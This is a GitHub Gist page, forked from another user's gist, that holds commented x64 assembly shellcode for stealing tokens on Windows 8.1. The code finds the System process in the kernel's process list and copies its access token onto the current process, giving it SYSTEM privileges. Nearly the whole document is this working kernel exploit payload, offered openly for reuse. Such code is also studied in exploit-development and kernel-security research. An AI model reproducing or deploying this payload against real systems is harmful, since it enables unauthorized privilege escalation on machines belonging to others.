Forked from hugsy/win81-token-stealing-shellcode.asm
Created
December 13, 2017 05:04
-
-
Save koncybernet/9ee665702f806ff85df11e33a2759d98 to your computer and use it in GitHub Desktop.
Token stealing shellcode for Windows 8.1 x64
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;; | |
;; Token stealing shellcode for Windows 8.1 x64 | |
;; | |
;; Save the current context on the stack | |
push rax | |
push rbx | |
push rcx | |
;; Get the current process | |
mov rax, gs:0x188 | |
mov rax, [rax+0xb8] | |
;; Loop looking for System PID | |
mov rbx, rax | |
mov rbx, [rbx+0x2e8] | |
sub rbx, 0x2e8 | |
mov rcx, [rbx+0x2e0] | |
cmp rcx, 4 | |
jnz -0x19 | |
;; Token overwrite | |
mov rcx, [rbx + 0x348] | |
and cl, 0xf0 | |
mov [rax + 0x348], rcx | |
;; Cleanup | |
pop rcx | |
pop rbx | |
pop rax | |
add rsp, 40 | |
xor rax, rax | |
ret |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment